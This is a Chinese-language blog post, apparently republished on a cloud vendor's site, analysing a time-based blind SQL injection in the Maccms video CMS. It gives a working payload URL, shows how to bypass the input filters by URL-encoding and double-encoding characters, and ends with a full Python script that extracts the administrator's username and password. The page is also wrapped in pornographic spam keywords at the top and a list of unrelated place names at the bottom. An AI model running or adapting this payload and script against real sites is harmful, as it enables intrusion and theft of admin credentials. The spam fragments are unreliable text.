亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Maccms SQL 注入分析及腳本怎么寫

發布時間:2021-12-31 12:00:22 來源:億速云 閱讀:223 作者:柒染 欄目:網絡安全

Maccms SQL 注入分析及腳本怎么寫,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

0x01 前言

一個朋友叫我研究maccms的代碼審計,碰到這個注入的漏洞挺有趣的,就在此寫一篇分析文。

0x02 環境

Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代碼審計工具

搭建這個程序也挺簡單的,也是一步到位。

0x03 漏洞復現

1. 首先在程序的后臺添加一條數據
2. 執行我們的payload,可以看到網站跳轉延遲了3s以上。url:http://sb.com/index.php?m=vod-searchpost:wd=))||if((select%0bascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%63Maccms SQL 注入分析及腳本怎么寫3. 因為是盲注所以注入出管理員的賬號密碼在下文分析。

0x04 SQL執行過程分析

  1. 先弄清楚sql是如何執行的一個過程,然后再去分析怎么會造成SQL注入的一個過程,這樣對學習代碼審計也是一個好處。
    因為是動態分析,不會的安裝調試環境的請到這篇文章按步驟完成安裝https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/

  2. phpstorm打開這個選項,意思就是斷在當前腳本文件的第一行,我就不下斷點了,跟著它執行的過程走一遍。Maccms SQL 注入分析及腳本怎么寫3. 我們先隨便輸入一點數據Maccms SQL 注入分析及腳本怎么寫訪問后會斷在index.php的第一行Maccms SQL 注入分析及腳本怎么寫4. F8往下走,走到第14行F7跟進去。Maccms SQL 注入分析及腳本怎么寫然后F8一直往下走,可以看到攔截的規則Maccms SQL 注入分析及腳本怎么寫走到POST的過濾這里F7進去Maccms SQL 注入分析及腳本怎么寫arr_foreach函數檢查傳過來的值是否是數組,不是數組就返回原數據,然后用urldecode函數URL解碼。Maccms SQL 注入分析及腳本怎么寫最后分別對傳過來的wdtest兩個值進行匹配,如果存在攔截規則里面的字符就跳轉到錯誤信息。Maccms SQL 注入分析及腳本怎么寫比如你輸入wd=/**/就會被攔截Maccms SQL 注入分析及腳本怎么寫因為/**/存在攔截的正則表達式里面。Maccms SQL 注入分析及腳本怎么寫5. 走出來會到$m = be('get','m');這里,這里只是對m傳過來的vod-search進行addslashes函數的過濾6. 我怕文章過長,一些不必要的代碼自己去細讀一遍就行了,F8一直往下周,走到37行F7進去,因為我們傳過來的的參數是vod,所以會包含vod.php文件并執行。Maccms SQL 注入分析及腳本怎么寫7. 因為我們傳參是search所以會走到這里,我們可以F7進去看執行的過程。Maccms SQL 注入分析及腳本怎么寫在這里會經過urldecode函數的解碼,一直循環到不能解碼為止,然后經過剛才的StopAttack方法的過濾Maccms SQL 注入分析及腳本怎么寫最后到htmlEncode方法的替換Maccms SQL 注入分析及腳本怎么寫8. 跳出到vod.php文件后F8走到這里,F7進去看SQL執行的過程。Maccms SQL 注入分析及腳本怎么寫一直走到markname的值是vodMaccms SQL 注入分析及腳本怎么寫然后不用管F8繼續往下走,走到這里再F7進去Maccms SQL 注入分析及腳本怎么寫可以看到SQL執行是到這里,下面是執行的語句SELECT count(*) FROM {pre}vod WHERE 1=1  AND d_hide=0 AND d_type>0  and d_type not in(0) and d_usergroup in(0)  AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )Maccms SQL 注入分析及腳本怎么寫

0x05 漏洞分析

上面分析了SQL執行過程,下面分析這個是如何構成SQL注入的。

  1. 剛才這里跳過了,文件位置:inc/common/template.php,可以看到傳過來的P["wd"]值賦值給了$lp['wd']。2. 再往下看753~755行,可以看到我們的值是放在這里面,然后送去GetOne執行的。

if (!empty($lp['wd'])){                $where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';            }

3. 構造的語句,只有中間才是執行的語句,前一句是為了閉合單引號,后面是注釋。如果這里不清楚的可以用MySQL監控的軟件去一步一步弄清楚。

AND d_hide=0 AND d_type>0  and d_type not in(0) and d_usergroup in(0)  AND( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )Maccms SQL 注入分析及腳本怎么寫4. 但是如果直接放語句上去會被檢測到危險字符Maccms SQL 注入分析及腳本怎么寫它主要對我們這里的空格連接處匹配到了Maccms SQL 注入分析及腳本怎么寫那么我們可以用別名as     ‘ ‘去代替,也可以省略as直接用   ‘ ‘,別名的用法在文章尾部的參考有給出。

5. 我們再執行,用Seay的代碼審計工具的Mysql監控軟件查看,我們的空格和后面的\被轉義了。Maccms SQL 注入分析及腳本怎么寫

還記得我們chkSql方法嗎?先是執行urldecode解碼,然后StopAttack匹配,最后htmlEncode編碼,最后Be方法那里 還有一個addslashes函數過濾,所以會導致后面的\轉義成\\htmlEncode又會對前面的空格轉義成 

function chkSql($s){global $getfilter;if(empty($s)){
    return "";
}$d=$s;while(true){
    $s = urldecode($d);
    if($s==$d){
        break;
    }
    $d = $s;
}
StopAttack(1,$s,$getfilter);return htmlEncode($s);
}

Maccms SQL 注入分析及腳本怎么寫6. 這里我們可以利用URL編碼繞過htmlEncode,具體可以看HTML URL編碼表%0c %0b等都可以,后面的\可以用URL編碼繞過%5c或者雙編碼%25%35%63
Maccms SQL 注入分析及腳本怎么寫7. 那么我們構造成的payload就是下面的,功能是查詢管理員賬號字段的長度wd=))||if((select%0cascii(length((select(m_name)from(mac_manager))))=53),(sleep(3)),0)#%5c``

0x06 編寫盲注腳本

當然盲注一般都不會手動去,SQLMAP有時候遇到特殊的也是要自己編寫注入的腳本,具體代碼的意思我就不解讀了,自己可以結合Python和MySQL的知識理解。Maccms SQL 注入分析及腳本怎么寫

#! /usr/bin/python# -*- coding:utf-8 -*-#author:F0rmatimport requestsimport time
dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?"UserName=''UserPass=''UserName_length=0url='http://sb.com/'url = url + r'/index.php?m=vod-search'def main():    global UserName
    global url
    for i in range(30):
        startTime = time.time()
        sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format(
            ord(str(i)))
        data = {'wd': sql}
        response = requests.post(url, data=data)  # 發送請求        if time.time() - startTime > 3:
            UserName_length = i
            print UserName_length
            break    for num in range(1, UserName_length + 1):
        for i in dict:  # 遍歷取出字符            startTime = time.time()
            sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
                str(num), ord(i))
            data = {'wd': sql}
            response = requests.post(url, data=data)  # 發送請求            print data
            if time.time() - startTime > 3:
                UserName += i
                break    global UserPass
    for num in range(32):
        for i in dict:  # 遍歷取出字符            startTime = time.time()
            sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
                str(num), ord(i))
            data = {'wd': sql}
            response = requests.post(url, data=data)  # 發送請求            print data
            if time.time() - startTime > 3:
                UserPass += i
                break    print 'username:'+UserName,'password:'+UserPassif __name__ == '__main__':
    main()

關于Maccms SQL 注入分析及腳本怎么寫問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

临夏县| 洪泽县| 镇江市| 安陆市| 临朐县| 吉首市| 宜君县| 武穴市| 周口市| 靖州| 濉溪县| 印江| 拜城县| 锡林浩特市| 卢龙县| 柞水县| 台安县| 鹰潭市| 金寨县| 婺源县| 马山县| 犍为县| 怀化市| 廊坊市| 北辰区| 铅山县| 龙陵县| 革吉县| 米脂县| 三门峡市| 依安县| 广河县| 丹江口市| 嵩明县| 青岛市| 晋州市| 定安县| 政和县| 射洪县| 天长市| 江北区|